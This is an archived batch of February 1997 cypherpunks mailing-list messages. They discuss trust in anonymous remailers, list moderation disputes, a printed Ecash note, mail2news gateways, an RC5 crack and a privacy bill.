tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charley Musselman <c.musselman@internetmci.com>
Date: Thu, 6 Feb 1997 15:01:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: anonymous remailers
Message-ID: <199702062301.PAA02208@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


C'punks --
	When I told a friend about the alt.drugs.pot cultivation newsgroup
and suggested that he use an anonymous remailer to post to the group,
he laughed and said, "Who do you suppose runs the remailers?  ATF,
FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
anyone know the answer?  Specifically, how can we choose a trusted
remailer?
Cheers (?),  Charley





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Thu, 6 Feb 1997 23:11:05 -0800 (PST)
To: dev-lucre@c2.net
Subject: World's first Ecash note
Message-ID: <199702070711.XAA13643@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The world's first Ecash note has been printed!

A USD 0.01 note made out to anyone can be found at:

	http://www.veriweb.com/people/jeremey/ecash/1_cent.html

The data portion of the note is a PDF417 2-D barcode, containing a
standard ecash payment of 1 US cent. 

The source code for the general PDF417 encoding and the ecash conversion
will be published as soon as I clean it up and come up with a somewhat
nicer interface. The PDF417 code should be useful for non-ecash stuff as
well, it will encode anything.

I will be bringing a bunch of notes to the bay-area cypherpunks meeting
Saturday.

Suggestions/comments appreciated.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMvq83i/fy+vkqMxNAQH/tQP/fSgEQ8K0BQcwTJxnaF7aKg1LzNshMdey
A8MH67Uv8zfv9cQTD0+g/JO4x64Ina5ZcMqn4IoHNOybqfvrR4ZepDLa+SsX2hhU
2xdmgf452OEhVpjSYoNnDMKoKAUUbfIlApu7W/9M/Ecx3vbT0cq4dxVF2zzcmJsy
nhEPFe2iSc4=
=v84p
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Feb 1997 23:11:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702070711.XAA13689@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Why was this message (attached below) sent to the "Flames" list? (*) It
contains an assertion that the remailer operators are colluding to reveal
identities, and this is surely a fit topic for discussion.

(* I have temporarily subscribed to the Flames list to see just what it is
being filtered or censored by Sandy. I received this message, and it had
the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
is a "Flames" message. It would help, by the way, if messages were more
clearly labelled by the Moderator as to which bucket he placed them in.)

While I don't believe this assertion about collusion by the remailer
operators is true, generally, this claim is clearly:

1. Not a flame, but an assertion of opinion.

2. Possibly not true, but it is not the job of the Moderator to decide on
truth.

3. Dealing with an important issue, to wit, the willingness (putatively) of
some remailer operators to talk amongst themselves to deal with "problems."

(If this is not a meaningful and important topic for the Cypherpunks list
to discuss, then what is?)

Here's the message:


At 10:22 PM -0500 2/6/97, Dr.Dimitri Vulis KOTM wrote:
>c.musselman@internetmci.com (Charley Musselman) writes:
>
>> C'punks --
>> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
>> and suggested that he use an anonymous remailer to post to the group,
>> he laughed and said, "Who do you suppose runs the remailers?  ATF,
>> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>> anyone know the answer?  Specifically, how can we choose a trusted
>> remailer?
>
>Even if the feds are not directtly involved, the so-called "cypher punk"
>remailers are run by people who should not be trusted.  Check out their
>remailer-operators list: it's full of announcements that some specific
>person posted something via the remailer that the operator didn't like.
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 6 Feb 1997 23:11:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
Message-ID: <199702070711.XAA13683@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I find your "distributed democracy" interesting, except that it would
allow scant time for deliberation.

Think of it this way: don't you think the majority of Americans would have
voted to pass the CDA? Or worse? Or restrictions on domestic crypto? Or
worse? 

Democracy generally means majoritarian rule. The Bill of Rights is an
anti-majoritarian document. It protects the rights of political or
religious minorities. I fear that electronic "click here to vote"
democracy would undermine the Bill of Rights even more.

-Declan

---

Dale Thorn writes:

I wish for once and for all someone would delineate this "democracy"
thing from a true, distributed democracy, where every individual is
required to participate equally, and no narrow interests can co-opt
the vote the way they do in the kind of "democracy" Declan mentions.

Wouldn't it be better when people mention a one-word political
philosophy such as democracy, that they make the definition
more precise by using two or three words instead?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Date: Thu, 6 Feb 1997 15:13:47 -0800 (PST)
To: mail2news@anon.lcs.mit.edu
Subject: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702062313.PAA02533@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Because of recent attacks on the remailer network and mail2news
gateways, I may loose access to at least one of the news servers I
currently feed news to from my mail2news gateway.

If you are a news administrator, believe in free speech and anonymity,
and you would like to help the cause, please consider giving transfer
(aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
not be the only server, and so do not need to worry about being the
point of entrance of mail2news articles to Usenet.

Please contact me if you can help.  Thank you.

For those who oppose the existence of mail2news gateways, you should
know that we are taking steps to limit the abuse.  However, doing so
without in any way limiting articles that abide by the usage policy is
tricky, and must be done carefully.  Please be patient.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Thu, 6 Feb 1997 20:41:06 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702070441.UAA09108@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This would be the same Strassmann who stated in public at Harvard early in
1995 that most remailers were run by intelligence agencies such as the
KGB, then denied saying it when asked for substantiation?   And cut it
from his paper?

On Thu, 6 Feb 1997, Vin McLellan wrote:
> Strassmann, the author of this denunciation of RSADS and
> Ian Goldberg, is the former Director of Defense Information
> (i.e., CIO,) of the Bush DoD and an often-insightful commentator

Having said that, there is some debate about the extent to which in
*intelligence gathering* as opposed to, say, trying to crack a banking
protocol, one can reasonably count on a known plaintext.  And much debate
about the processing costs of not having one, especially when one doesn't
know what kind of document is being encrypted (e.g. is it ASCII plaintext?
a spreadsheet? a jpeg? etc.).  I think that's his (misdirected) point.

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl9.crl.com>
Date: Fri, 7 Feb 1997 06:55:54 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702071455.GAA24397@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Timothy C. May wrote:

> My posting seem to be going into Limbo, being sent neither to
> the Cypherpunks Heaven Sandy administers nor to the flames of
> the Cypherpunks Hell. At least this is how things now appear.

It doesn't look familiar.  I don't have any idea what happened.
Can anyone tell me if they saw it on the unedited list?  That's
where I would have read it.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl9.crl.com>
Date: Fri, 7 Feb 1997 06:55:56 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: anonymous remailers
Message-ID: <199702071455.GAA24404@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Timothy C. May wrote:

> Why was this message (attached below) sent to the "Flames" list? (*) It
> contains an assertion that the remailer operators are colluding to reveal
> identities, and this is surely a fit topic for discussion.
> 
> (* I have temporarily subscribed to the Flames list to see just what it is
> being filtered or censored by Sandy. I received this message, and it had
> the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> is a "Flames" message. It would help, by the way, if messages were more
> clearly labelled by the Moderator as to which bucket he placed them in.)

Currently, there are three lists.  It looks as though the message
in question appeared on the Unedited list.  This is NOT the same
as the Flames list.  
 
I don't recall where I sorted that particular post to after I
read it on the Unedited list.  If it went to the "wrong" list,
my apologies to the author.  As I indicated before, I don't think
a 100% solution is possible, but I think I'm running in the high
90s under the criteria I enunciated.  Not perfection, but a 
definite improvement over the prior condition.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Thu, 6 Feb 1997 15:30:23 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: e$ plug, Moderation, Cypherpunks as a bird in the bush
Message-ID: <199702062330.PAA02831@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym "Greg Broiles
 <gbroiles@netbox.com>" typed:
> 
> I think that Bob's e$ list should be considered a viable alternative to the
> other two filtered cpunks lists; I recommend it to people looking for a
> moderated alternative to the list.


I like "e$", although I seem to be too busy to contribute
regularly to _any_ forum recently.  (I'm always available for
Real Life Meetings in local bars, though...  Anybody going to
visit Amsterdam soon?)


> I've been meaning to write up a long message explaining why I think I'm about
> to drop off of the list. It's peculiar to spend a lot of time discussing
> things with a group of people over the course of several years and then
> disappear without saying why. But I'm having trouble coming up with anything
> more profound than "it's not interesting any more."


Hey, that's a sufficiently profound "death of cpunks" statement
for me.  I feel the same way-- though I've never been a very
active participant, I really dropped out a few months ago.


I feel like there is more to learn and discuss.  _Much_ more.
It keeps me awake at night sometimes, not knowing exactly what
it is but waiting for it.


But I've had my fill of cypherpunks, and my Objectivist
newsgroup (humanities.philosophy.objectivism), and simplistic
libertarianism.



Keep in touch.  :-)


Bryce

Not speaking for DigiCash.

PGP sig follows




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Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

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yri3mEEFKU9x35J9Dqu8XHu/TQOJuB5S8LdAmtesvLuKEGkjpVKPHXrSDik5efyp
rWY9pJbjq/UBqYosCgx2PzHILTsh/UMw
=ZVwu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 7 Feb 1997 07:11:11 -0800 (PST)
To: cryptography@c2.net
Subject: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <199702071511.HAA24793@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 06:51 PM 2/6/97 +0800, pclow wrote:
>><You want Eudora 3.0 and PGPMail 4.5. [Despite PGP,Inc's best efforts,
>>the
>><brand new PGPMail has escaped from the United States and is now
>>available
>><worldwide.]

Its too bad there isn't a Mac version contemplated.  They appear to think
that existing PGP versions, paired with Eudora, are sufficient.  I think a
better integrated approach for the Mac would be appreciated as the
available AppleScripts are buggy and awkward.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 7 Feb 1997 06:55:51 -0800 (PST)
To: dev-lucre@c2.net
Subject: IEEE Communications
Message-ID: <199702071455.GAA24387@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A friend called this evening to let me know the February issue is dedicated
to electronic cash and its implications.  I'm no longer an IEEE member.  If
any of the various list members care to excerpt and comment on some of the
more interesting portions, I'm sure it would be appreciated.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Fri, 7 Feb 1997 06:56:29 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997")
Message-ID: <199702071456.GAA24457@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>--- begin forwarded text
>Date:         Thu, 6 Feb 1997 11:24:09 EST
>Reply-To:     Law & Policy of Computer Communications
>              <CYBERIA-L@LISTSERV.AOL.COM>
>Sender:       Law & Policy of Computer Communications
>              <CYBERIA-L@LISTSERV.AOL.COM>
>From:         "Jonathan I. Ezor" <jezor@NEWMEDIALAW.COM>
>Subject:      Congressional Bill worse for 'Net than CDA? (crosspost)

>
>Sorry for the crossposting, but I felt this one might be important enough
>to do it.  The following is a shortened version of an article I've written
>for my firm's client newsletter about H.R. 98, the "Consumer Internet
>Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on
>January 7, 1997.  [snip]
>
>Jonathan I. Ezor
>New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019
>Tel: 212-468-4989   Fax: 212-468-4888   E-mail: jezor@newmedialaw.com
>-----------------------------Cut here-------------------------------
>
>Congress Tackles Internet Privacy
>        Recently, there has been significant press coverage over real and
>rumored revelations of personal information such as Social Security numbers by
>online services, including the alleged availability (later shown to be untrue)
>of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database,
>and various governmental bodies have held hearings on issues of online privacy.
>On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the
>"Consumer Internet Privacy Protection Act of 1997," (H.R. 98)  This bill
>provides that "an interactive computer service shall not disclose to a third
>party any personally identifiable information provided by a subscriber to such
>service without the subscriber's prior informed written consent." 

Gee, this sounds great!  Sounds like it would become illegal for ISPs to 
"cooperate" (aka:  getting strongarmed) by the local thugs (cops) to reveal 
information about subscribers.   Except, as is so often the case, they seem 
to always figure out ways to explain that cooperation with cops was somehow 
not covered in the law above.

One of the non-obvious dangers of having laws such as this apply to ISPs is 
that they increase the likelihood that legal force could be applied to them 
in order to get them to sell-out their customers.   And, obviously, the 
average citizen isn't going to have a lot of luck getting these laws 
ENFORCED unless he has friends in the prosecutor's office.


One of the numerous advantages of an AP-type system is that a person will be 
able to make a violation of his privacy a crime regardless of whether the 
powers-that-be agree.  Also, he can enforce that "law" on anyone, including 
government agents, without the cooperation of the prosecutor.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 7 Feb 1997 11:56:52 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702071956.LAA29480@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 3 Feb 1997, Adam Back wrote:

> My vote is for renaming:
> 	`cypherpunks-unedited' -> `cypherpunks'
> and	`cypherpunks' -> `cypherpunks-edited'

I have to agree. I'm only a 'cypherpunk' in the sense of setting up
various crypto-related Web sites and writing and giving away thousands of
lines of cryptography code rather than regularly posting to the list, but
my main concern is that the default for the list has gone from anarchy to
moderation. 

If the users of the list truly believe in anarchistic solutions to
problems then the moderated list should exist *in addition* to the
unmoderated list, rather than replacing it. In a truly anarchistic society
the cypherpunks list would be an unmoderated forum full of spam and
opinions related in some way to the list topics and numerous moderators
would charge us for their versions of the list in which they simply pass
on the messages they like. We could then choose a moderator whose
interests are similar to ours and pay them for providing us with
apropriate information. IMHO this is the way that mailing lists and Usenet
are likely to evolve as they become too large for us to read and react to
all posts; we should be in the vanguard of creating appropriate solutions
to the problems. 

Providing a moderated list which saves me from dowloading spam is a
worthwhile exercise which is potentially valuable to me (and I'm grateful
to Sandy for offering such a service for free), but I do not believe that
it should be the default for new subscribers.

	Mark

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Thu, 6 Feb 1997 22:55:47 -0800 (PST)
To: zinc <zinc@zifi.genetics.utah.edu>
Subject: Re: lead remailer is shut down
Message-ID: <199702070655.WAA12863@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


zinc enscribed thusly:

> The following message is a courtesy copy of an article
> that has been posted as well.

> -----BEGIN PGP SIGNED MESSAGE-----

> hi,

> i came in today to find they (university system admins) had pulled the
> plug on my machine.  this is all because some luser spammed usenet
> using the remailer on my machine.  thanks a lot.

	Yeah?  Did you find his ass?  Kindly forward the coordinates
of the body so we can desecrate the corpse!

> so, the lead remailer is gone for good; it lasted almost exactly one
> year. 

> it was nice while it lasted.

	Never used it but it is always sad to see the passing of a network
resource due to the abuse by cretins with all the morals of an alley cat
in heat...

> - -patrick finerty
> biochem grad student, u of utah

> - -- 
> "Those that give up essential liberty to obtain a little temporary
> safety deserve neither liberty nor safety." -- Benjamin Franklin (1773)
> 		   finger zinc-pgp@zifi for PGP key
> zifi runs LINUX 2.0.28  -=-=-=WEB=-=-=->  http://zifi.genetics.utah.edu
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface
> 
> iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L
> 6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE
> 4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt
> clfXhusEPPg=
> =0fse
> -----END PGP SIGNATURE-----

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Thu, 6 Feb 1997 11:21:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702061921.LAA28338@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back:
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?
> 
> It has some advantages:
> 
> [...]
> 
> And some disadvantages...
> 
>  1. Cross-posting in USENET is a problem, especially in alt newsgroups
> 
>  2. Commercial spam is a problem with newsgroups
> 

You may want to check out alt.sysadmin.recovery; they use the 
moderation mechanism to produce a group that is unmoderated, 
but spam-resistant.  It would be impolite to describe the technique,
but it should be apparent if you browse a few articles.

Another way to avoid crossposts is to have a robomoderated group,
where a bot automatically rejects articles which are crossposted,
and approves all others.

>  3. USENET distribution is likely less efficient of overall bandwidth
> 
>  4. News propogation times are often poor (Exeter univ. receives news
>     about a week late) This is a real killer in my view.  I have
>     another news server I can access at the moment, but not everyone
>     may have access to a reasonable news server.
> 
>  5. News access is more complex for some people.  Some alt newsgroups
>     are not carried by some servers.  Perhaps news-to-mail and
>     mail-to-news gateway would solve these problems.
> 
>  6. Some have argued in the past on this topic that the mailing list
>     medium is better because it is more exclusive, as it requires more
>     technical competence, and an active enough interest to subscribe.
>     This is an elitist argument.  Perhaps it is relevant though, if we
>     are trying to maintain a mailing list where technical discussions on
>     how to improve privacy are to take place.  I wouldn't call this
>     attitude censorship though.
> 

7. Usenet traffic, at least in remote regions (looks around), is often 
   assigned less bandwidth/lower priority than mail, so a reader may
   not see all of the messages (AFAICT, I normally see about half or 
   less of what actually gets posted to the groups I read), even if the 
   group is "well propagated".

>[...]

John P.
john@huiac.apana.org.au







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 07:11:53 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702071511.HAA24871@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:57 PM -0800 2/6/97, Sandy Sandfort wrote:

>On Thu, 6 Feb 1997, Timothy C. May wrote:
>
>> My posting seem to be going into Limbo, being sent neither to
>> the Cypherpunks Heaven Sandy administers nor to the flames of
>> the Cypherpunks Hell. At least this is how things now appear.
>
>It doesn't look familiar.  I don't have any idea what happened.
>Can anyone tell me if they saw it on the unedited list?  That's
>where I would have read it.

I reproduced the message in my message earlier tonight. Although there are
no headers to show routing, since I sent it but never received it, I can
assure you it was marked by Eudora as "Sent," and my ISP has reported no
delivery problems of any sort. Thus, based on past experiences with
thousands of such sendings, I surmise with great certainty that my message
was mailed successfully to cypherpunks@toad.com. What happened to if after
that I cannot say, but I suspect something related to the "Moderation"
process, by Ockham's Razor.

There seem to be more "lost" messages than before this "Moderation" thing
began. I literally sent thousands of messages (maybe tens of thousands...)
and cannot recall a "lost" message. Now, it's happened to me a couple of
times that I can recall, and to at least some others, based on recent
messages.

I thought the basic equation was:

UNEDITED = MAIN + FLAMES,  with MAIN and FLAMES being disjoint.

It's looking now more like:

UNEDITED = MAIN + FLAMES +  DROPPED/LOST

Possibly the fault lies in the software Sandy is using to sort the
messages, possibly elsewhere. Whatever, this needs to be fixed immediately,
or the experiment abandoned immediately.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 07:12:12 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702071512.HAA24882@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:57 PM -0800 2/6/97, Sandy Sandfort wrote:

>On Thu, 6 Feb 1997, Timothy C. May wrote:
>
>> My posting seem to be going into Limbo, being sent neither to
>> the Cypherpunks Heaven Sandy administers nor to the flames of
>> the Cypherpunks Hell. At least this is how things now appear.
>
>It doesn't look familiar.  I don't have any idea what happened.
>Can anyone tell me if they saw it on the unedited list?  That's
>where I would have read it.

I reproduced the message in my message earlier tonight. Although there are
no headers to show routing, since I sent it but never received it, I can
assure you it was marked by Eudora as "Sent," and my ISP has reported no
delivery problems of any sort. Thus, based on past experiences with
thousands of such sendings, I surmise with great certainty that my message
was mailed successfully to cypherpunks@toad.com. What happened to if after
that I cannot say, but I suspect something related to the "Moderation"
process, by Ockham's Razor.

There seem to be more "lost" messages than before this "Moderation" thing
began. I literally sent thousands of messages (maybe tens of thousands...)
and cannot recall a "lost" message. Now, it's happened to me a couple of
times that I can recall, and to at least some others, based on recent
messages.

I thought the basic equation was:

UNEDITED = MAIN + FLAMES,  with MAIN and FLAMES being disjoint.

It's looking now more like:

UNEDITED = MAIN + FLAMES +  DROPPED/LOST

Possibly the fault lies in the software Sandy is using to sort the
messages, possibly elsewhere. Whatever, this needs to be fixed immediately,
or the experiment abandoned immediately.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Fri, 7 Feb 1997 07:11:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702071511.HAA24795@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A couple things need underscoring: 

On Wed, 5 Feb 1997, Hugh Daniel wrote:

> Agenda: 11:++	setup, gossip, face feeding etc.
> 	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
        ^^^^^
Thomsen needs to leave early, so we will make every effort to "start on
time."

> 	  We have a wonderful space to do demos in this month, Turing
> 	Auditorium has Internet, projections screens, audio amps and
                       ^^^^^^^^
I.e., Ethernet, either 10BaseT or coax, no firewall. Please show up by 11:30
if you want an IP address. Hooked up to the projectors are a PowerMac, a
Windows 95 box, and I might lug my Linux box over, too. One analog phone, in
case anyone wants one. I suppose we could still do live RealAudio and/or
CU-SeeMe iff someone feels they have something to say of such earth-
shattering importance that the whole net must hear. Otherwise, I'd rather
keep the distracting toys out of the way.

-rich
 www.stanford.edu/~llurch






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 7 Feb 1997 07:11:49 -0800 (PST)
To: ISP_Ratings <boursy@earthlink.net>
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702071511.HAA24870@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Feb 1997, ISP_Ratings wrote:

> lcs Remailer Administrator wrote:
> > 
> > Because of recent attacks on the remailer network and mail2news
> > gateways, I may loose access to at least one of the news servers I
> > currently feed news to from my mail2news gateway.
> > 

Who attacked the network and for what reason?

> > If you are a news administrator, believe in free speech and anonymity,
> > and you would like to help the cause, please consider giving transfer
> > (aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
> > not be the only server, and so do not need to worry about being the
> > point of entrance of mail2news articles to Usenet.
> > 
> > Please contact me if you can help.  Thank you.
> > 

Well, just who is cutting you off and for what reason?
And what is their telephone number?

> > For those who oppose the existence of mail2news gateways, you should
> > know that we are taking steps to limit the abuse.  

Just what is your definition of "abuse?"

However, doing so
> > without in any way limiting articles that abide by the usage policy is
> > tricky, and must be done carefully.  Please be patient.
> 
> 
>   I'm writing from the Freedom Knights list but am in no way
> representing them.
>   
>   What exactly do you mean by 'taking steps to limit the abuse'?  
> Personally I think much of what is called abuse is nonsense and
> that all posts, with the exception of cancels/NoCems should be
> propogated regardless of content (including what is currently
> referred to as spam).
> 
>   Also--could you forward to the Freedom Knights list a copy of
> your 'usage policy' and impressions on the Freedom Knights two
> FAQs.
> 
>   Thanks,
> 
>   Steve
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 08:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
Message-ID: <199702071626.IAA26175@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> I find your "distributed democracy" interesting, except that it would
> allow scant time for deliberation. Think of it this way: don't you
> think the majority of Americans would have voted to pass the CDA?
> Or worse? Or restrictions on domestic crypto? Or worse?
> Democracy generally means majoritarian rule. The Bill of Rights is an
> anti-majoritarian document. It protects the rights of political or
> religious minorities. I fear that electronic "click here to vote"
> democracy would undermine the Bill of Rights even more.

You spoke a key phrase when you said "scant time".  When I was in
the Perot camp, I saw some direct "democracy" in action, and it was
pitiful how the little folks could be herded into voting this way
and that.  OTOH, this subject deserves more in-depth analysis, and
a good starting point could be the California referendums (Prop. 209,
etc.), followed on by Supreme Court decisions saying OK, not OK, and
so on.  That system provides a good mix of people having input and
proper Constitutional judicial review.

One of the good factors is the pamphlets the state sends out to voters
prior to the election, with a decent analysis of the issues from
